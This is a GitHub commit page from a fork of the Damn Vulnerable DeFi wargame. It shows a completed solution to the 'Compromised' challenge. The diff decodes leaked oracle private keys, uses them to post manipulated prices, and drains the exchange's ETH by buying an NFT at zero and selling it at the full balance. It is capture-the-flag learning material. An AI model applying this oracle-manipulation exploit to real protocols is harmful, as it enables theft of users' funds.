forked from theredguild/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
theredguild#7 - compromised completed
- Loading branch information
Showing
1 changed file
with
132 additions
and
85 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,89 +1,136 @@ | ||
const { expect } = require('chai'); | ||
const { ethers } = require('hardhat'); | ||
|
||
describe('Compromised challenge', function () { | ||
|
||
const sources = [ | ||
'0xA73209FB1a42495120166736362A1DfA9F95A105', | ||
'0xe92401A4d3af5E446d93D11EEc806b1462b39D15', | ||
'0x81A5D6E50C214044bE44cA0CB057fe119097850c' | ||
]; | ||
|
||
let deployer, attacker; | ||
const EXCHANGE_INITIAL_ETH_BALANCE = ethers.utils.parseEther('9990'); | ||
const INITIAL_NFT_PRICE = ethers.utils.parseEther('999'); | ||
|
||
before(async function () { | ||
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ | ||
[deployer, attacker] = await ethers.getSigners(); | ||
|
||
const ExchangeFactory = await ethers.getContractFactory('Exchange', deployer); | ||
const DamnValuableNFTFactory = await ethers.getContractFactory('DamnValuableNFT', deployer); | ||
const TrustfulOracleFactory = await ethers.getContractFactory('TrustfulOracle', deployer); | ||
const TrustfulOracleInitializerFactory = await ethers.getContractFactory('TrustfulOracleInitializer', deployer); | ||
|
||
// Initialize balance of the trusted source addresses | ||
for (let i = 0; i < sources.length; i++) { | ||
await ethers.provider.send("hardhat_setBalance", [ | ||
sources[i], | ||
"0x1bc16d674ec80000", // 2 ETH | ||
]); | ||
expect( | ||
await ethers.provider.getBalance(sources[i]) | ||
).to.equal(ethers.utils.parseEther('2')); | ||
} | ||
|
||
// Attacker starts with 0.1 ETH in balance | ||
await ethers.provider.send("hardhat_setBalance", [ | ||
attacker.address, | ||
"0x16345785d8a0000", // 0.1 ETH | ||
]); | ||
expect( | ||
await ethers.provider.getBalance(attacker.address) | ||
).to.equal(ethers.utils.parseEther('0.1')); | ||
|
||
// Deploy the oracle and setup the trusted sources with initial prices | ||
this.oracle = await TrustfulOracleFactory.attach( | ||
await (await TrustfulOracleInitializerFactory.deploy( | ||
sources, | ||
["DVNFT", "DVNFT", "DVNFT"], | ||
[INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE] | ||
)).oracle() | ||
); | ||
|
||
// Deploy the exchange and get the associated ERC721 token | ||
this.exchange = await ExchangeFactory.deploy( | ||
this.oracle.address, | ||
{ value: EXCHANGE_INITIAL_ETH_BALANCE } | ||
); | ||
this.nftToken = await DamnValuableNFTFactory.attach(await this.exchange.token()); | ||
}); | ||
const { expect } = require("chai"); | ||
const { ethers } = require("hardhat"); | ||
|
||
it('Exploit', async function () { | ||
/** CODE YOUR EXPLOIT HERE */ | ||
}); | ||
describe("Compromised challenge", function () { | ||
const sources = [ | ||
"0xA73209FB1a42495120166736362A1DfA9F95A105", | ||
"0xe92401A4d3af5E446d93D11EEc806b1462b39D15", | ||
"0x81A5D6E50C214044bE44cA0CB057fe119097850c", | ||
]; | ||
|
||
//Hex -> Base64 -> ASCII | ||
//4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 | ||
const oracleKey0 = | ||
"0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"; | ||
|
||
//4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34 | ||
const oracleKey1 = | ||
"0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"; | ||
|
||
let deployer, attacker; | ||
const EXCHANGE_INITIAL_ETH_BALANCE = ethers.utils.parseEther("9990"); | ||
const INITIAL_NFT_PRICE = ethers.utils.parseEther("999"); | ||
|
||
before(async function () { | ||
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ | ||
[deployer, attacker] = await ethers.getSigners(); | ||
|
||
after(async function () { | ||
/** SUCCESS CONDITIONS */ | ||
|
||
// Exchange must have lost all ETH | ||
expect( | ||
await ethers.provider.getBalance(this.exchange.address) | ||
).to.be.eq('0'); | ||
|
||
// Attacker's ETH balance must have significantly increased | ||
expect( | ||
await ethers.provider.getBalance(attacker.address) | ||
).to.be.gt(EXCHANGE_INITIAL_ETH_BALANCE); | ||
|
||
// Attacker must not own any NFT | ||
expect( | ||
await this.nftToken.balanceOf(attacker.address) | ||
).to.be.eq('0'); | ||
|
||
// NFT price shouldn't have changed | ||
expect( | ||
await this.oracle.getMedianPrice("DVNFT") | ||
).to.eq(INITIAL_NFT_PRICE); | ||
const ExchangeFactory = await ethers.getContractFactory( | ||
"Exchange", | ||
deployer | ||
); | ||
const DamnValuableNFTFactory = await ethers.getContractFactory( | ||
"DamnValuableNFT", | ||
deployer | ||
); | ||
const TrustfulOracleFactory = await ethers.getContractFactory( | ||
"TrustfulOracle", | ||
deployer | ||
); | ||
const TrustfulOracleInitializerFactory = await ethers.getContractFactory( | ||
"TrustfulOracleInitializer", | ||
deployer | ||
); | ||
|
||
// Initialize balance of the trusted source addresses | ||
for (let i = 0; i < sources.length; i++) { | ||
await ethers.provider.send("hardhat_setBalance", [ | ||
sources[i], | ||
"0x1bc16d674ec80000", // 2 ETH | ||
]); | ||
expect(await ethers.provider.getBalance(sources[i])).to.equal( | ||
ethers.utils.parseEther("2") | ||
); | ||
} | ||
|
||
// Attacker starts with 0.1 ETH in balance | ||
await ethers.provider.send("hardhat_setBalance", [ | ||
attacker.address, | ||
"0x16345785d8a0000", // 0.1 ETH | ||
]); | ||
expect(await ethers.provider.getBalance(attacker.address)).to.equal( | ||
ethers.utils.parseEther("0.1") | ||
); | ||
|
||
// Deploy the oracle and setup the trusted sources with initial prices | ||
this.oracle = await TrustfulOracleFactory.attach( | ||
await ( | ||
await TrustfulOracleInitializerFactory.deploy( | ||
sources, | ||
["DVNFT", "DVNFT", "DVNFT"], | ||
[INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE] | ||
) | ||
).oracle() | ||
); | ||
|
||
// Deploy the exchange and get the associated ERC721 token | ||
this.exchange = await ExchangeFactory.deploy(this.oracle.address, { | ||
value: EXCHANGE_INITIAL_ETH_BALANCE, | ||
}); | ||
this.nftToken = await DamnValuableNFTFactory.attach( | ||
await this.exchange.token() | ||
); | ||
}); | ||
|
||
it("Exploit", async function () { | ||
/** CODE YOUR EXPLOIT HERE */ | ||
/** | ||
* The main api response contains the private keys of the oracle, so the main ideia is to change | ||
* the nft price to 0, buy one NFT, then change the price to exchange balance and sell the nft | ||
* And to pass all the test we need to change again to initial price | ||
*/ | ||
|
||
const oracle0 = new ethers.Wallet(oracleKey0, ethers.provider); | ||
const oracle1 = new ethers.Wallet(oracleKey1, ethers.provider); | ||
|
||
await this.oracle.connect(oracle0).postPrice("DVNFT", 0); | ||
await this.oracle.connect(oracle1).postPrice("DVNFT", 0); | ||
|
||
await this.exchange | ||
.connect(attacker) | ||
.buyOne({ value: ethers.utils.parseEther("0.01") }); | ||
|
||
await this.oracle | ||
.connect(oracle0) | ||
.postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE); | ||
await this.oracle | ||
.connect(oracle1) | ||
.postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE); | ||
|
||
await this.nftToken.connect(attacker).approve(this.exchange.address, 0); | ||
await this.exchange.connect(attacker).sellOne(0); | ||
|
||
await this.oracle.connect(oracle0).postPrice("DVNFT", INITIAL_NFT_PRICE); | ||
await this.oracle.connect(oracle1).postPrice("DVNFT", INITIAL_NFT_PRICE); | ||
}); | ||
|
||
after(async function () { | ||
/** SUCCESS CONDITIONS */ | ||
|
||
// Exchange must have lost all ETH | ||
expect(await ethers.provider.getBalance(this.exchange.address)).to.be.eq( | ||
"0" | ||
); | ||
|
||
// Attacker's ETH balance must have significantly increased | ||
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt( | ||
EXCHANGE_INITIAL_ETH_BALANCE | ||
); | ||
|
||
// Attacker must not own any NFT | ||
expect(await this.nftToken.balanceOf(attacker.address)).to.be.eq("0"); | ||
|
||
// NFT price shouldn't have changed | ||
expect(await this.oracle.getMedianPrice("DVNFT")).to.eq(INITIAL_NFT_PRICE); | ||
}); | ||
}); |